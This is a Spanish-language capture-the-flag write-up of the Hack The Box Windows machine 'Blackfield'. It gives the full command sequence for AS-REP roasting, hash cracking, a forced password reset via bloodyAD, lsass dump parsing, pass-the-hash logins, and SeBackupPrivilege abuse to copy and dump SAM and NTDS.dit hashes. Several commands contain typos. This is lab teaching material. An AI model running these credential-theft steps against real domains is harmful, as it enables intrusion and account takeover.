Este blog es solo para fines educativos y de análisis técnico en CTFs. No promueve actividades maliciosas ni el uso indebido de herramientas descritas.
Entrada

HTB - Blackfield

HTB - Blackfield

Box Info

NameBlackfield
Release Date06 Jun, 2020
OSWindows
Rated DifficultyHard
1
2
3
4
5
ping -c 3 10.10.10.192     
PING 10.10.10.192 (10.10.10.192) 56(84) bytes of data.
64 bytes from 10.10.10.192: icmp_seq=1 ttl=127 time=130 ms
64 bytes from 10.10.10.192: icmp_seq=2 ttl=127 time=129 ms
64 bytes from 10.10.10.192: icmp_seq=3 ttl=127 time=129 ms

Recon

1
nmap -p- --open --min-rate 5000 -n -vv -Pn 10.10.10.192 -oG allPorts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Nmap 7.95 scan initiated Thu Jul 10 23:35:34 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p 53,88,135,389,445,593,3268,5985 -oN targeted 10.10.10.192
Nmap scan report for 10.10.10.192
Host is up (0.13s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-11 10:35:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-11T10:35:50
|_  start_date: N/A
|_clock-skew: 6h59m59s
1
2
3
nxc smb 10.10.10.192

SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)

Con netexec y smb podemos obtener mayor informacion sobre la maquina como hostname, version del SO y el nombre de dominio.

1
2
3
nxc smb 10.10.10.192 --shares 
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [-] Error enumerating shares: STATUS_USER_SESSION_DELETED

Tambien podemos enumerar el los archivos compartidos por smbclient con null session.

1
2
3
4
5
6
7
8
9
10
11
smbclient -L //BLACKFIELD.LOCAL/ -N

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	forensic        Disk      Forensic / Audit share.
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	profiles$       Disk      
	SYSVOL          Disk      Logon server share

O con smbmap la diferencia es que indica los permisos para saber que recursos podemos leer.

1
smbmap -H 10.10.10.192 -u 'test'
1
2
3
4
5
6
7
8
9
10
[+] IP: 10.10.10.192:445	Name: BLACKFIELD.LOCAL    	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	forensic                                          	NO ACCESS	Forensic / Audit share.
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share 
	profiles$                                         	READ ONLY	
	SYSVOL                                            	NO ACCESS	Logon server share 

Solo hay 2 recursos que podemos leer y el que mas llama la atencion es el profiles$.

1
smbmap -H 10.10.10.192 -u 'adaw' -r 'profiles$' --no-banner

Nos lista una gran fila de nombres de usuarios

Image

Para saber que posibles usuarios son validos dentro del dominio, vamos a tomar la ultima fila es decir todos los usuarios para guardarlos en un archivo.

1
smbmap -H 10.10.10.192 -u 'adaw' -r 'profiles$' --no-banner | awk 'NF{print $NF}' > users

Kerbrute

Con kerbrute enumeramos los usuarios validos que se encuentran en el dominio.

1
/opt/kerbrute/kerbrute userenum --dc 10.10.10.192 -d BLACKFIELD.LOCAL users

Image

Al tener 3 usuarios validos dentro del dominio podria intentar obtener un tgt a traves de ASREPRoast Attack

Kerberoasting Attack

1
impacket-GetUserSPNs BLACKFIELD.LOCAL/support:#00^BlackKnight

Image

ASREP Roast Attack

impacket-GetNPUsers BLACKFIELD.LOCAL/support -no-pass

Image

Crack Hash

1
john hash -w=/usr/share/wordlists/rockyou.txt 

Image

#00^BlackKnight

SMBMap

1
smbmap -H 10.10.10.192 -u 'support' -p '#00^BlackKnight' -r 'SYSVOL' --depth 10 --no-banner

Ahora podria enumerar todos los usuarios que se encuentran en el dominio

1
 rpcclient -U 'support%#00^BlackKnight' 10.10.10.192 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[]'

Image

De igual forma con ldapdomaindump podemos obtener mayor informacion de los grupos y usuarios del dominio.

1
ldapdomaindump -u 'BLACKFIELD.LCOAL\support' -p '#00^BlackKnight' 10.10.10.192

Image

AUDIT2020

BloodHound

1
bloodhound-python -d BLACKFIELD.LOCAL -u support -p '#00^BlackKnight' -ns 10.10.10.192 --zip -c All

Image

DACL (ForceChangePassword)

1
bloodyAD --host 10.10.10.192 -d BLACKFIELD.LOCAL -u "support" -p '#00^BlackKnight' set password "audit2020" 'P@ssword123!'

Image

Validate Creds

1
nxc smb 10.10.10.192 -u 'audit2020' -p 'P@ssword123!' --shares

Image

Ahora podemos ver dentro del recurso “forensic” compartido.

1
smbclient //10.10.10.192/forensic -U 'audit2020%P@ssword123!'

Image

El lssas es un proceso critico en los sistemas windows que se encarga de la seguridad local incluyendo la autenticacion de usuarios.

1
7z l lsass.zip

Image

Pypykatz

1
pypykatz lsa

Image

1
pypypkatz lsa minidump lsaas.DMP

Image

1
nxc smb 10.10.10.192 -u "svc_backup" -H "9658d1d1dcd9250115e2205d9f48400d"

Image

1
nxc winrm 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'

Image

1
evil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'

Image

Podemos entrar al directorio del administrador pero aun no podemos visualizar la flag root.txt

Image

1
whoami /priv

Image

Privilege Escalation

SeBackupPrivileges permite al usuario exportar subárboles de registro.

1
SeBackupPrivilege

sebackupprivilege

El SYSTEM contiene la información (clave de arranque) necesaria para descifrar el archivo SAM y extraer los hashes que contiene.

Los “archivos” SAM y SYSTEM son copias de las subárboles de registro SAM y SYSTEM representadas como un solo archivo.

1
reg save hklm\system C:\temp\SYSTEM

Image

La SAM es un archivo de base de datos del sistema operativo Windows que contiene nombres de usuario y contraseñas locales . Las contraseñas del archivo SAM no se almacenan en texto plano, sino como hashes NTLM (MD4).

1
reg save hklm\sam C:\temp\sam

Ahora extraemos la copia del hash de administrator del archivo SAM

1
/usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam -system system local

Image

1
2
3
nxc smb 10.10.10.192 -u "Administrator" -H '67ef902eae0d740df6257f273de75051'
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [-] BLACKFIELD.local\Administrator:67ef902eae0d740df6257f273de75051 STATUS_LOGON_FAILURE

Desafortunadamente lo que necesitamos es el hash del administrador del dominio y no local. Una cuenta de administrador local tiene control total sobre los recursos de una máquina específica, mientras que un administrador de dominio tiene control sobre múltiples máquinas y recursos dentro de un dominio de red.

Incluso en el link sobre la Priv:seBackupPrivilege mencionan que se puede lograr obtener el NTDS.dit que es que contiene todos los hashes de los usuarios de un dominio.

Image

1
2
3
4
echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append        
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append

Image

Los comandos anteriores básicamente le dicen a diskshadow.exe que cree una copia de C: y la llame Z: y la exponga (la haga accesible como una unidad).

1
diskshadow.exe /s c:\temp\diskshadow.txt

Image

1
robocopy /b Z:\Windows\ntds\ . ntds.dit

Image

Descargamos con evil-winrm el archivo ntds.dit

Image

1
/usr/share/doc/python3-impacket/examples/secretsdump.py -system system -ntds ntds.dit local

Image

1
nxc smb 10.10.10.192 -u "Administrator" -H '184fb5e5178480be64824d4cd53b99ee'

Image

1
evil-winrm -i 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'

Image

Esta entrada está licenciada bajo CC BY 4.0 por el autor.